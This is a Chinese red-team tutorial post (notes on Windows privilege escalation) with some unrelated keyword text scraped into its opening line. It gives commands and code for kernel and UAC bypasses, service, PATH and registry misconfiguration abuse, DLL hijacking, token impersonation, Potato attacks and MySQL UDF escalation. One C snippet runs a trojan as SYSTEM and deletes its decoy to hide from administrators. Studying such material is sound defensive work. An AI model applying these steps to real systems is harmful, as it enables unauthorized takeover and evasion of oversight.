定制网站与模板建站维护,wordpress 预订插件,深圳东门步行街地铁站,wordpress图片文字排版之前讲过一下提权#xff0c;但是感觉有点不成体系#xff0c;所以我们就成体系的来讲一下这个操作系统的提权 目录
Windows的提权
1.Widnows的内核溢出提权
1.MSF自带的提权模块#xff08;Win11都能提上来#xff0c;有点牛逼#xff09;
2.CS的插件提权
3.补丁对比…之前讲过一下提权但是感觉有点不成体系所以我们就成体系的来讲一下这个操作系统的提权 目录
Windows的提权
1.Widnows的内核溢出提权
1.MSF自带的提权模块Win11都能提上来有点牛逼
2.CS的插件提权
3.补丁对比提权
2.Windows的错误配置提权
1.Trusted Service Paths提权
2.PATH环境变量提权
3.不安全的服务提权
4.不安全的注册表提权
5.注册表键AlwaysInstall提权
6.Runas提权
7.计划任务提权
8.启动项提权
3.绕UAC提权
1.MSF_bypass_UAC提权社工提权
2.基于白名单的AutoElevate绕UAC
3.基于白名单DLL劫持绕过UAC提权
4.CVE-2019-1388_UAC提权
5.Windows令牌窃取攻击提权
4.Potato提权
RottenPotato_MS16-075
5.数据库提权 1.UDF提权
1.获取密码
2.mysql的版本
3.secure_file_priv的值
4.允许root远程登录
2.启动项提权 Windows的提权
1.Widnows的内核溢出提权 溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值甚至可以劫持进程执行恶意代码最终获得主机的控制权。永恒之蓝就是一种缓冲区溢出噢 这个有很多的方式像什么cs的插件msf的强大的检测网上的一些python脚本 ....
但是怎么判断要不要提权呢
whoami /groups
如果是显示medium的话就要提权 因为一般管理员的话都是显示的high或者system 其实最简单的就是添加用户只有system或者administrator才能创建用户普通管理员都不行
那么就可以拿这个当成一个权限测试的探针
下面我们就来讲一下常见的提权方式 1.MSF自带的提权模块Win11都能提上来有点牛逼
众所周知msf是一个很强大的渗透模块
首先我们先上线一台机器,在没有提权的情况下一般都是创建不了用户的 很好access denied 那么我们就去提权这个靶机是win11
use multi/recon/local_exploit_suggester
set session 刚才会话的id
run //这个会自动检测你的windows的可提权部分这样就能看见一个能提权的部分了 那么我们直接use 然后run
exploit/windows/local/bypassuac_fodhelper
set session 你的会话id
run
然后可以看见就是直接拿到了system的权限 期间会有一个蓝屏一闪而过无伤大雅 可以成功验证我们的system权限 2.CS的插件提权
先上线一个机器 正常的去创建用户肯定是会报错的 那么我们用cs自带的插件提权 成功提权并且能创建新的用户 其实像其他插件也有不过似乎不太好用 你们自行尝试
3.补丁对比提权
如果实在是环境苛刻cs msf都上线不了 那么只能在本地执行命令对比提权了
systeminfo 将这一段复制到这个网址
提权补丁信息对比 (shentoushi.top)https://www.shentoushi.top/av/kb.php就可能能发现一些能用的exp 2.Windows的错误配置提权
在现在的世界中基本上很多电脑都打了补丁导致内核溢出提权困难所以这时候我们就要去看一下管理员是否有一些错误的配置导致我们可以进行提权
1.Trusted Service Paths提权 Trusted Service Paths 漏洞是由系统中的“CreateProcess”函数引起的并利用了windows文件路径解析的特性。 首先我们可以以管理员的身份去打开这一个查看服务这里的服务都是以system权限去运行的 随便挑一个那么微软的运行情况就是这样的
先去D盘下运行Acunetix.exe如果上一步不成功的话那么就会往下找有没有wvs_supervisor.exe的程序并且运行 那么问题就在这里了如果该路径没有被双引号包裹而且路径间存在空格那么就可以提权
举个栗子 C:\ASUS\Program Files\test.exe 那么我们就可以在C盘的ASUS文件夹下面放一个Progarm.exe的恶意文件让他运行我们的木马
不过首先我们可以通过命令查看一下有没有错误的配置
wmic service get name,displayname,pathname,startmode | findstr /i Auto | findstr /i /v C:\\Windows\\ | findstr /i /v 不过这个提权方式一般都很难因为这种配置基本上都只可能是用户自行配置的错误微软是不可能会发生这种错误的配置的 就拿win11 和 win 7来举例子 可以看见基本上都是不存在自身的这种错误的配置的 那咋办为了完成我们这次实验我们只能手动的模拟一个错误配置咯
sc create service binpath c:\program Files\Common Files\service\services.exe start auto
sc qc service
然后这时候就去看c盘的权限
icalcs C:
可以看见 以下成果 先来解释一下 我们没有写的权限捏 于是还要修改权限
icacls C: /grant BUILTIN\Users :W
于是我们就有了往c盘下写东西的权限啦 然后接下来我就模拟实战先上个马然后用命令去查看一下配置 能看见我们刚才配置的恶意文件
于是上文件先用c语言编译这个
#includestdio.h
#includestdlib.h
int main() {system(cmd.exe /c C:\\Users\\whoami\\Desktop\\1.exe);return 0;
}
但是babecue了传不上去 那看来可能是配置错误了wuuwuw~~~只能手动尝试了
然后......翻车了(安静的让人害怕) 所以这种方法也是有一定的局限性的翻车NO!!! 2.PATH环境变量提权
对于学计算机的童鞋path这个词肯定不会陌生javapythonVS这些配置
其实大家有没有想过我们平时的ipconfig是什么意思 其实是这样的按照我这个环境变量来说的话
他先去D盘的VMware\bin的文件夹下找一下有没有ipconfig这个exe然后就去D盘的java_new\bin下找一下有没有ipconfig这个exe最后在C盘的Windows的system32文件夹下面找到了ipconfi.exe 执行了之后我们才会看到我们的ip信息但是有没有想过按照上面的配置来说我们可不可以在D盘的vmware的bin下放一个恶意程序叫做ipconfig.exe hhhhh 这就是错误的path配置导致的提权直接实战
wmic ENVIRONMENT where namepath get Username , VariableValue 诶嘿有操作空间
#includestdio.h
#includestdlib.h
int main() {system(cmd.exe /c C:\\Users\\whoami\\Desktop\\damn.exe);system(del C:\\test\\ipconfig.exe);return 0;
}
解释一下这个代码是以system去运行我们的木马并且删除ipconfig文件否则就要被管理员发现啦
然后就是去编译并且上传啦 在这里先吐槽一下md为什么windows的cs上传文件这么卡我用的Linux才不卡
然后就是登管理员用ipconfig 可以看见是成功上线的并且卡在了ipconfig这里然后当再次使用ipconfig时又能正常显示 3.不安全的服务提权 由于Windows中的服务一般都是以system权限去运行的所以如果管理员在配置某一些服务的时候给予了某些用户能修改这个服务的时候可能会导致提权 就比如下面如果我们普通用户可以改掉这个svchost.exe为我们的上线木马那么就可以提权 那么下面我们就来演示一下首先以管理员的身份执行以下命令
这个就是在创建一个服务并且指定了运行的c盘下的1.exe文件
sc create wanli binpath C:\1.exe
然后使用subinacl这个工具给whoami这个用户赋予完全控制权F对于wanli这个服务
subinacl.exe /service wanli /grantwhoamiF
然后通过cs控制的机器去查询能运行的服务
accsesschk.exe “用户名” -cw * /accepteula //这个工具需要自己上传可以看见apache 用户是对wanli这个服务 然后就可以去该服务了
sc config wanli binpath C:\Users\apache\desktop\2.exe
这个就是去修改了wanli这个服务去运行1.exe程序 那么1.exe就可以这么写,记得编译然后上传
#includestdio.h
#includestdlib.hint main(){system(cmd.exe \c C:\\你的木马程序的路径);
return 0;}
最后就是直接启动这个服务了因为有F权限所以可以直接执行
shell sc start wanli
提权成功 4.不安全的注册表提权 Windows的服务路径存在于Windows的注册表中如果注册表配置不当当攻击者可以发现使用低权限修改注册表的时候就可以提权将imagepath修改为恶意文件重启提权 说起来有点抽象我们直接去实战
先去创建服务
sc create wanli2 binpath C:\1.exe
这一步在管理员的注册表完成赋予users组wanli2的完全访问权限 然后下面的步骤去cs上线的机器里面执行这个命令可以列出所有服务
sc query type all state all | findstr /i service_name.* | more
然后去查看每一个服务是否配置不当
shell subinacl.exe /keyreg HKEY_LOACL_MACHINE\system\ControlSet001\services\wanli2 /display
如果能找到一个服务对于普通用户可以具有完全控制权那么就可以提权了 然后就是去改注册表的imagepath了
reg add HEKY_LOCAL_MACHINE\system\ControlSet001\services\test /t REG_EXPAND_SZ /v ImagePath /d 你的恶意文件的路径 /f
但是这时候是不可以直接重启权限的因为你只有对注册表的修改权限并没有启动或者关服务的权限 所以这里只能等管理员去自己重启了普通用户连重启的权限都没得啊 手动模拟一下重启啦嘻嘻嘻启动服务即提权 5.注册表键AlwaysInstall提权 AlwaysInstallElevated是注册表的一个键值当其值为1时候普通用户可以system权限安装MSI文件 怎么查看是否开启了呢
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated如果没开启你将看到这样的结果 如果开启了就会是这样的结果都是1的值 怎么开启你可以直接在gpeidt.msc里面去修改或者你也可以直接敲上这两条命令
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1然后提权方式有两种第一种你可以上线到msf去用自带的模块去提权 在拿到meterpreter之后敲上以下的命令
bg
use windows/local/always_install_elevated
set session 刚才的会话的id
run然后就会有机率的获得它的system的shell问就是我没成功 第二种方法就是上线cs你可以去先生成一个cs的木马然后把他转换成msi的格式再去上线
其实它的提权原理就是用普通用户以system的身份去运行了你的msi的木马文件
6.Runas提权
在开始之前先来讲一下一个runas命令
如果管理员想在一个普通用户的shell下想运行一些管理员的命令可以考虑runas命令 runas /user:管理员用户的名字 运行的程序如果管理员加多了一行这个选项
runas /savecred /user:administrator cmd.exe 那么你以后都不用再次输入密码凭证原因
控制面板下的用户账户的凭证管理器查看如果有的话那么就可以提权了 7.计划任务提权
如果管理员在配置计划任务的时候配置不当的话导致我们可以更改计划任务下的运行程序就可以导致提权 然后就是比较玄学了你可以通过这个命令但是一般是查不到的权限不够捏
schtasks /query /fo LIST /v
我知道你在想什么chcp437我也试过啦 就算是手动查询也是查不到的 所以只能玄学的去寻找了
shell accesschk.exe whoami C: -accepteula
可以看见users有写和读的权限 然后就是把我们的恶意文件上传上去了 替换掉原来服务的程序 成功提权 8.启动项提权 Windows启动目录下的脚本可以开机自启利用这一特性可以向上述目录传入脚本达到恶意提权的目的前提是目录或者注册表的更改权限 这些都是windows的自启动项
还是通过accesschk这个工具去判断有没有权限如果有的话那么就可以提权 传个木马上去然后等到这台电脑启动的时候他就自己提权了 3.绕UAC提权
什么是uac我之前说过了忘记了的可以去看我之前的这篇文章
红队学习笔记Day6 ---干货分享-CSDN博客
那么在开始之前我们先来回顾一下当我们要去运行某一些程序的时候会看见这样 但是呢我们去查询明明我们是管理员啊
hhhhh因为我们只是普通的管理员不是administrator这个系统的管理员所以当我们点了确定之后我们就能以系统管理员的身份去运行了
所以在cs中为什么有些用户是有* 原因就是因为 如果用 * 就是代表了我是系统的管理员已经过了UAC了否则的话我只是普通的用户或者普通管理员还得被UAC约束
那么在拿到一个普通管理员的情况下怎么提权呢
1.MSF_bypass_UAC提权社工提权
首先你可以用cs的插件去提权这个在上面就有或者你可以用msf的bypassUAC提权 你search 一下bypassUAC 然后挑几个利用一下利用一下就好前面讲过一个Win11都能提的
或者还有一个社工的手段 用以下命令
use exploit/windows/local/ask
然后当你run的时候别人主机就会弹出这个东西来 如果配合你的社工和免杀说不定能过
2.基于白名单的AutoElevate绕UAC 利用白名单程序的本质实际上就是劫持注册表这种方式就是去寻找autoelevate属性为True的程序修改器其注册表command的值改成我们的payload该值中指明的字段会在这类程序运行时主动执行 说了那么多说点人话。对于我们电脑的很多程序来说如果每一项在开机启动的时候都要报一下UAC那么我们电脑是不是就废了所以就诞生了UAC白名单 于是我们可以先去监控一下启动这些进程的时候运行了注册表的什么
可以看见我们在运行eventvwr的程序的时候会去注册表的 HKCU\Software\Classes\mscfiles\shell\open\command下运行命令 但是显示notfound 所以我们就可以往里面写入内容
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /t REG_SZ /d cmd.exe /c 恶意程序 reg add HKCU\Software\Classes\mscfile\shell\open\command /v DelegateExecute /t REG_SZ
然后当我们再去运行这个程序的时候就可以绕过UAC去运行此程序为UAC的白名单程序 看看看 是不是就是这个原理 其实这个有没有一键的方法呢 肯定有啊cs的插件不就有吗 看见没是不是有一些就是这个原理
3.基于白名单DLL劫持绕过UAC提权
这个就有点意思了有点免杀木马的那味了先来解释一下DLL DLL是动态链接库又称为应用程序扩展是软件的文件类型。在Windows中的许多应用程序并不是一个完整的可执行程序文件他们被分割成一些相对独立的动态连接库文件DLL放置在系统中 说点人话就是像极了我们运行一个python的程序是不是我们也要导入一些库文件 所以就可以这样理解比如我们要运行微信这个程序他需要去调用一些DLL才能将整个程序运行起来所以如果我们将这个DLL改成一个恶意的DLL文件当这个程序被运行的时候就会调用这个恶意的DLL我们的shellcode就会运行导致RCE,这就是DLL劫持
但是 微软有这么傻吗 微软通过增加Know DLLS注册表做到防止大部分的DLL被劫持 所以我们就要去找一些既是UAC白名单又能被劫持的程序 SystemPropertiesAdvanced.exe 是 Windows 操作系统的标准文件通常不需要通过用户账户控制 (UAC) 的白名单来运行。它是一个系统性的工具通常不会被 UAC 阻止。 然后同构process monitor可以看见他是调用到了powershell里面的dll 为什么呢首先得来了解一下Windows的dll调用方法 如果在前五个都没有找到这个DLL的话就会去环境变量里面找刚好我们的环境变量里面是有powershell的 那就是说这个程序在运行的时候调用到的dll会去到环境变量查找那么如果我们能在一个可以改动环境变量的目录下伪造这个一个恶意的DLL是不是就能绕过UAC提权
那么先去准备一个shellcode 然后编译成一个DLL文件 改名为一开始程序调用的dll文件名字
然后我们可以直接修改他的注册表其中这个C:\test是你自己加上去的环境变量路径
setx PATH %PATH%;C:\test //这一步需要普通管理员权限
然后就把刚才写的dll传到这个目录下在cs运行服务即上线
管理员权限而且是以UAC白名单的程序去运行 4.CVE-2019-1388_UAC提权
这个提权方式不适用于MSF或者CS只能远程桌面去使用 该漏洞提权是一个Windows证书对话框特权提升漏洞。此漏洞是因为UAC机制设定不严导致的。默认情况下Windows UAC提示是由consent.exe的可执行文件生成的并且该程序是以NT AUTHORITY\SYSTEM 身份去运行的具有system的完整性水平 但是有适用的范围以下的 那么下面我们就来复现一下先打开这个程序 再去点击这个 点击确定然后再退出UAC
这个过程所有的操作都是以着system的权限去运行的哦哦哦哦哦 找到cmd然后打开 这时候我们的shell权限就是system了
5.Windows令牌窃取攻击提权
其实这算不算是一种提权手法呢我觉得是不算的为什么一会看就知道力 令牌Token是系统的临时密钥相当于账户名和密码用于决定是否允许这次的请求和判断这次请求属于哪一个用户的它允许你再不提供密钥或者其他凭证的前提下访问网络和系统的资源这些令牌持续存在在系统中除非系统重新启动 其中提权用的还是访问令牌比较多 这时候如果我们能拿到一个过了UAC的管理员或者administrator用户就可以通过工具来窃取system的令牌 然后窃取它的令牌就能提权了 其实你说这个算不算是提权呢 我都已经能拿到过了uac的管理员权限或者administrator的权限了。提升至system只需要写个计划任务或者runas一下不就好了吗 其实我们的msf中的
getsystem
就是通过窃取到了system的令牌从而达到的提权这也解释了为什么普通用户或者一般管理员getsystem没用因为他们偷不了令牌当然了管道也是不行的
getsystem就是通过管道基数或者窃取令牌的手段提的权都需要过了UAC的管理员或者administrator
4.Potato提权
土豆家族在提权这一方面确实挺不错的cs的很多插件也有 那么我们下面就来讲一些土豆吧
RottenPotato_MS16-075 1. 欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。 2. 对这个认证过程使用中间人攻击NTLM重放为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。 3. 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户IIS、MSSQL等有这个权限大多数用户级的账户没有这个权限。 利用场景当我们以webshell进去的时候说不定权限比较低如果是IIS服务账户说不定我们就可以进行烂土豆提权其实说到最后还是令牌的窃取偷的system的令牌
先传个potato上去,以下代码在meterpreter中运行
execute -cH -f ./potato.exe
use incognito
list_tokens -u如果你看到这样的界面就不用往下做了换一种方式没权限偷不了一点看不见system 如果能看见system那就说明可以偷 开偷
impersonate_token NT AUTHORITY\SYSTEM其他的土豆也有不过原理很复杂这里我就不讲了直接用插件就是
5.数据库提权 默认情况下MSSQL, MySQL, Oracle均以 nt authority\system权限系统服务或 Administrator权限管理员手动运行 提权成功率较高。 1.UDF提权
先上个效果图片 UDFUserdefined function可翻译为用户自定义函数其为mysql的一个拓展接口可以为mysql增添一些函数。比如mysql一些函数没有我就使用UDF加入一些函数进去那么我就可以在mysql中使用这个函数了。 利用数据库提权需要以下前提
需要获取账号和密码如果你的操作系统在5.2以下你就要将udf.dll放在 C:\windows/system32下面否则你就要放在mqsql的/lib/plugin下面一般都是这个secure_file_priv的值允许root远程登录
那么我们分别来说一下每一个项
1.获取密码
这个需要你去翻一下有没有一些配置config的文件一些网站的源代码说不定有
或者你直接用sqlmap去跑说不定能跑出来密码
2.mysql的版本
建议用这两个命令去查一下
select version(); //查看Mysql版本
下面这个命令决定了后面我们要用什么dll文件
select version_compile_os, version_compile_machine; 32位的不能用64位的dll 3.secure_file_priv的值
show variables like %secure%
一定要能看见是没有任何显示就算是NULL也不行 那么如果他是呢 那没事可以改
可以去my.ini那里加一行 [mysqld] secure_file_priv //加上这个 4.允许root远程登录
5.7的版本以前写这句
mysql GRANT ALL PRIVILEGES ON *.* TO root% IDENTIFIED BY root WITH GRANT OPTION;
以后的版本
-- 创建用户
CREATE USER root% IDENTIFIED BY root;
-- 授权
grant all privileges on *.* to root% ;
然后就可以开搞了
先去mysql里面创建一个/删除原来的udf.dll 确保这里面没有udf.dll并且有/lib/plugin这个目录 然后可以去用msf的模块攻击
msfconsole
use exploit/multi/mysql/mysql_udf_payload
set rhost
run开始攻击 然后就是去准备一个udp.dll
MySQL UDF 提权十六进制查询 | 国光 (sqlsec.com)https://www.sqlsec.com/tools/udf.html然后将后面的这个路径换成靶机上的mysql的路径 写完之后就能看见两个文件了在/lib/plugin下 最后在去创建一个运行我们命令的函数
create function sys_eval returns string soname udf.dll;
然后就大公告成可以提权了
select sys_eval(命令) 成功提权 2.启动项提权
前面是不是说过mysql是以system权限运行的来着
那么我们的思路是不是就可以将木马写在它的自启动程序
思路有了开搞先找一个启动的地方
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
然后敲上这个命令
select load_file(C:\\Users\\liukaifeng01.GOD\\Desktop\\demo.exe) into dumpfile C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\1.exe;
前面的路径是你木马的路径后面则是windows的启动项目如果没有什么意外再次getshell还是可以的 但是如果他是以普通管理员登录的话那么你也只能拿到一个普通管理员的权限
如果他是以administrator登录的话你就可以拿到administrator的权限